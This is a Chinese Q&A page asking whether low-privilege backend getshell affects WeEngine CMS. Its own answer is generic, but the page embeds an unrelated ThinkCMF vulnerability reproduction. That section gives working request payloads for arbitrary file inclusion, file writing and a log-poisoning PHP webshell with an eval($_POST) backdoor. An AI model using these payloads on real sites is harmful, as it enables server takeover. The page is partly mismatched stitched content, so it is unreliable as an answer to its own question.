低权限后台getshell是微擎cms存在的后台漏洞吗

时间: 2024-03-08 16:45:25 浏览: 182

ThinkCMF 任意内容包含getshell漏洞

ThinkCMF 任意内容包含getshell漏洞 ThinkCMF 是一种基于 PHP+MYSQL 开发的中文字内容管理框架，底层采用 ThinkPHP3.2.3 构建。ThinkCMF 提出灵活的应用机制，框架自身提供基础的管理功能，而开发者可以根据自身的需求以应用的形式进行扩展，每个应用都能独立的完成自己的任务，也可以通过系统调调用其他应用进行协同工作。漏洞介绍：远程攻击者在无需任何权限的情况下，通过构造特定的请求包即可在远程服务器上执行任意代码。 ThinkCMF X1.6.0、ThinkCMF X2.1.0、ThinkCMF X2.2.0、ThinkCMF X2.2.1、ThinkCMF X2.2.2 都存在该漏洞。环境搭建： 1. 下载 ThinkCMF X2.2.2，解压后放在 WWW 目录下，然后浏览器访问即可看到安装页面。漏洞描述：漏洞影响：FOFA 漏洞分析： 1. 安装好之后访问页面为 http://localhost/index.php 2. 打开 index.php 文件，查看程序的项目路径，可以看到项目路径在 application 目录下。 3. 在项目路径下找到入口分组的控制器类，选择 IndexController 控制器类，打开，可以知道继承了 HomebaseController，通过 gma 参数指定分组模块方法，这里可以通过 a 参数直接调用 PortalIndexController 父类（HomebaseController）中的一些权限为 public 的方法。 4. 可以看到的 public 方法里就有 display()、fetch()，还有方法作用及参数含义。 5. display 函数的作用是加载模板和页面输出，所对应的参数为：templateFile 为模板文件地址，charset 模板字符集，contentType 输出类型，content 输出内容。templateFile 参数会经过 parseTemplate() 方法处理。 6. parseTemplate() 方法作用：判断模板主题是否存在，当模板主题不存在时会在当前目录下开始查找，形成文件包含构造的 payload。漏洞复现： 1. 通过构造 a 参数的 display() 方法，实现任意内容包含漏洞。 2. 通过构造 a 参数的 fetch() 方法，在不需要知道文件路径的情况下就可以实现任意文件写入。 payload： 1. ?a=display&templateFile=README.md 2. ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php phpinfo(); ?>')</php> 如果页面是空白的，则说明可能写入成功。 3. 访问写入的文件 1.php，发现成功写入文件。 ThinkCMF 缓存 getshell：有两种方法可以 getshell： 1. 由于 thinkcmf2.x 使用了 thinkphp3.x 作为开发框架，默认情况下启用了报错日志并且开启了模板缓存，导致可以使用加载一个不存在的模板来将生成一句话的 PHP 代码写入 data/runtime/Logs/Portal 目录下的日志文件中，再次包含该日志文件即可在网站根目录下生成一句话木马 m.php。 2. 发送请求，thinkphp 生产的日志的格式为年-月份-日期（请求的日期）可以看到已经成功创建了 shell.php 文件。 payload： ?a=display&templateFile=<?php file_put_contents('shell.php','<?php eval($_POST["6666"]);?>');die;?> http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log 然后使用蚁剑成功连接。

微擎CMS存在一些后台漏洞，但是不是所有的漏洞都能导致低权限后台getshell。一些漏洞可能只能导致信息泄漏、XSS等安全问题，而无法实现getshell。如果您想了解具体的微擎CMS后台漏洞信息，建议查阅相关安全研究报告或者官方公告。同时，为了保障您的网站安全，建议您及时升级微擎CMS到最新版本，并加强网站的安全防护措施。

阅读全文

低权限后台getshell是微擎cms存在的后台漏洞吗

相关推荐

74cms v4.2.1 v4.2.129 后台getshell漏洞.md

DolphinPHP 1.4.2（_1.4.5）后台 GetShell1

phpMyAdmin后台getshell复现

emlog CMS的代码审计_越权到后台getshell - 先知社区1

DEDECMS5.7后台getshell1

dz 所有版本后台GET SHELL1

蓝天采集器 v2.3.1 后台getshell（需要管理员权限）1

houyusen#poc#ShopXO v1.8.0 后台getshell1

gentlexue#POC-3#Discuz 3.4 最新版后台getshell1

houyusen#poc#YzmCMS V5.4 后台getshell（二）1

[Timeline Sec] - 禅道12.4.2后台管理员权限Getshell复现1

74CMS 3.0 SQL注入漏洞后台.docx

CMSeasy v5.5任意权限getshell

【菜鸟腾飞】简单的Getshell和windows提权_漏洞研究

Seacms代码审计小结(后台多处getshell)1

ThinkSNS_V4 后台任意文件下载导致Getshell.pdf

PHPOK最新版漏洞组合拳GETSHELL1

struts漏洞利用方法，可get shell.pdf

最新推荐

74CMS 3.0 SQL注入漏洞后台.docx

Android判断当前App是在前台还是在后台

Vue 使用formData方式向后台发送数据的实现

微信小程序支付之c#后台实现方法

微信小程序如何连接Java后台

IEEE 14总线系统Simulink模型开发指南与案例研究

管理建模和仿真的文件

【数据安全黄金法则】：R语言中party包的数据处理与隐私保护

Takagi-Sugeno模糊控制方法的原理是什么？如何设计一个基于此方法的零阶或一阶模糊控制系统？

STLinkV2.J16.S4固件更新与应用指南